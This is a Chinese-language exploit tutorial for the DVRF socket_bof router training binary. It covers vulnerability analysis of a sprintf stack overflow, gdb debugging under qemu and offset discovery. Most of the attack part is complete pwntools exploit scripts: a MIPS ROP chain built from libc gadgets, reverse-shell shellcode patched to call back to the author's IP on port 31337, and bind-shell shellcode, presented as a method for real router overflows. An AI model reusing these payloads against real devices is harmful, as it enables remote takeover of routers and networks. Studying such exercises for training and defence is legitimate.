路由器漏洞挖掘之棧溢出 - 反彈shell的payload構造
前言
前一篇講到了 ROP
鏈的構造,最後直接使用調用 execve
函數的 shellcode
就可以直接 getshell
,但是實際路由器溢出的情況下都不會那麽簡單。
這裏再看一道 DVRF
的題,這道題是 pwnable/ShellCode_Required
下的 socket_bof
。
漏洞分析
直接查看源碼:
#include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> // Pwnable Socket Program // By b1ack0wl // Stack Overflow int main(int argc, char **argv[]) { if (argc <2){ printf("Usage: %s port_number - by b1ack0wl\n", argv[0]); exit(1); } char str[500] = "\0"; char endstr[50] = "\0"; int listen_fd, comm_fd; int retval = 0; int option = 1; struct sockaddr_in servaddr; listen_fd = socket(AF_INET, SOCK_STREAM, 0); bzero( &servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htons(INADDR_ANY); servaddr.sin_port = htons(atoi(argv[1])); printf("Binding to port %i\n", atoi(argv[1])); retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); if (retval == -1){ printf("Error Binding to port %i\n", atoi(argv[1])); exit(1);} if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){ printf("Setsockopt failed :(\n"); close(listen_fd); exit(2); } listen(listen_fd, 2); comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL); bzero(str, 500); write(comm_fd, "Send Me Bytes:",14); read(comm_fd,str,500); sprintf(endstr, "nom nom nom, you sent me %s", str); printf("Sent back - %s",str); write(comm_fd, endstr, strlen(endstr)+1); shutdown(comm_fd, SHUT_RDWR); shutdown(listen_fd, SHUT_RDWR); close(comm_fd); close(listen_fd); return 0x42; }
同樣這裏可以發現一處 sprintf
的棧溢出,把程序放入 IDA
中進行分析
在 0x00400D2C
處調用了 sprintf
函數,將格式化後的字符串直接放到大小為 0x50
的棧上,我們的輸入如果大於 0x50 的話就會產生棧溢出,這樣我們就可以控制返回地址。
這裏和上一道題相似,同樣這裏需要我們使用 ROP
鏈來構造一個 payload
。
但是這裏不同的是,這裏我們是通過端口訪問的。如果我們這裏 getshell
了,這個 shell
還是在服務端的,我們是無法訪問的。所以這裏我們需要構造一個通過端口能訪問到的 shellcode
。
這裏我們希望的效果是可以直接反彈 shell
,或者使得 shellcode
shell
,我們就可以通過這個端口連接上,進而獲取 shell
。
gdb 調試方法
這裏因為程序是開了一個 socket
端口,調試方法稍微有點不太一樣。但是還是可以用 attach
的方法來調試
具體的方法是:
- 先把程序用
qemu
跑起來,附加調試端口為23946
- 用
gdb-multiarch
連接上23946
端口:target remote :23946
,程序斷在_start
函數處,在0x00400E1C
處下一個斷點(也就是lw $ra, 0x270+var_4($sp)
的地方),c 繼續運行
- 再新開一個終端,
nc
連接上之後,send payload
gdb
中進行調試了。
確定偏移
控制 ra
之前還是需要先確定偏移地址。這邊還是使用 patternLocOffset.py
工具來確定偏移,
python patternLocOffset.py -c -l 500 -f test2
python patternLocOffset.py -s 0x41376241 -l 500
可以看到偏移是 51,後面的四個字節需要填充的 ra 寄存器的值。
構造 payload
根據上一篇 ROP
鏈構造的思路,我們同樣可以用原來的 ROP
鏈來進行利用,這裏不同的地方是 shellcode
的差異,我們需要構造一個能夠從端口訪問的 shellcode
或者直接使用 socket
彈回一個 shell
。
- 在實際的路由器漏洞挖掘過程中,一般的棧溢出使用
system
函數來getshell
都會存在問題,所以只能另辟蹊徑。
所以這裏的重點是 shellcode
構造。
我們先用原來的 exp
試試效果:
#!/usr/bin/python
from pwn import *
context.arch = 'mips'
context.endian = 'little'
libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
# sleep_end_addr = 0x767144c8
shellcode = ""
shellcode += "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0) # jr $ra
payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1
payload += 'a' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2-------------------
payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0) # s3
payload += 'd' * 4 # s4
payload += p32(libc_addr + 0xAfe0) # ra
#---------------stack 3-------------------
payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0) # s0
payload += 'a' * 4 # s1
payload += 'a' * 4 # s2
payload += 'a' * 4 # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x0001B230) # ra
payload += 'f' * 0x28
payload += shellcode
r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')
r.sendline(payload)
r.interactive()
運行起來,在服務端可以看到,這裏確實可以 getshell
。
shellcode 的選擇和構造
這裏的 shellcode
可以選擇兩種類型,一種是在本地傳一個 shell
綁定到某個端口,另一種是直接反彈 shell
。
這裏的 shellcode
可以自己開發,也可以直接用網上現成的。自己開發的話比較耗時難度也比較大,這邊就直接使用這裏的。
反彈 shell
先選擇一個反彈 shell
的 shellcode
,在下面這個鏈接中,可以看到這邊是將 shell
反彈到了 192.168.1.177
這個 ip 的 31337
端口。
http://shell-storm.org/shellcode/files/shellcode-860.php
我們使用的話之直接更改他的 ip 地址就行了,也就是對 li $a1, 0xB101A8C0 #192.168.1.177
這條匯編指令進行更改。
如何更改呢?這邊就需要用到 pwntools
的 asm
函數。
首先,我們需要把目的 ip 地址轉化為 16 進制,這裏就拿筆者本機來演示。這裏我本機的 IP 是 192.168.123.158
轉化成 16 進制為:0x9e7ba8c0
那麽這裏的匯編語句就是:li $a1,0x9e7ba8c0
導入 pwntools.asm
函數中:
得到相應匯編語句的 hex
值,替換掉 payload
原來的 hex
值就行了。即:
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" # 192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" # 192.168.123.158
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
nc
監聽 31337 端口,運行 exp
成功反彈一個 shell
:
綁定到相應端口
這裏的 shellcode 使用這裏的:
http://shell-storm.org/shellcode/files/shellcode-81.php
也就是開啟一個 bash
監聽本地的 4919
端口。
bind_port_shellcode = "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x13\x37\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xdb\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0\xaf\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
直接替換原來 payload
:
但是這裏有點問題,執行完 exp 卻開啟了別的端口,直接連接上去程序會直接崩潰。所以還是使用上面反彈 shell
的 exp 吧。
exp
#!/usr/bin/python
from pwn import *
context.arch = 'mips'
context.endian = 'little'
libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
stg3_SC = ""
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" # 192.168.123.158
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0) # jr $ra
payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1
payload += 'a' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2-------------------
payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0) # s3
payload += 'd' * 4 # s4
payload += p32(libc_addr + 0xAfe0) # ra
#---------------stack 3-------------------
payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0) # s0
payload += 'a' * 4 # s1
payload += 'a' * 4 # s2
payload += 'a' * 4 # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x0001B230) # ra
payload += 'f' * 0x28
payload += stg3_SC
r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')
r.sendline(payload)
r.interactive()
總結
在實際的路由器棧溢出時,如果執行 execve
函數沒辦法 getshell
時,可以試試上面反彈 shell
的方式。
路由器漏洞挖掘之棧溢出 - 反彈shell的payload構造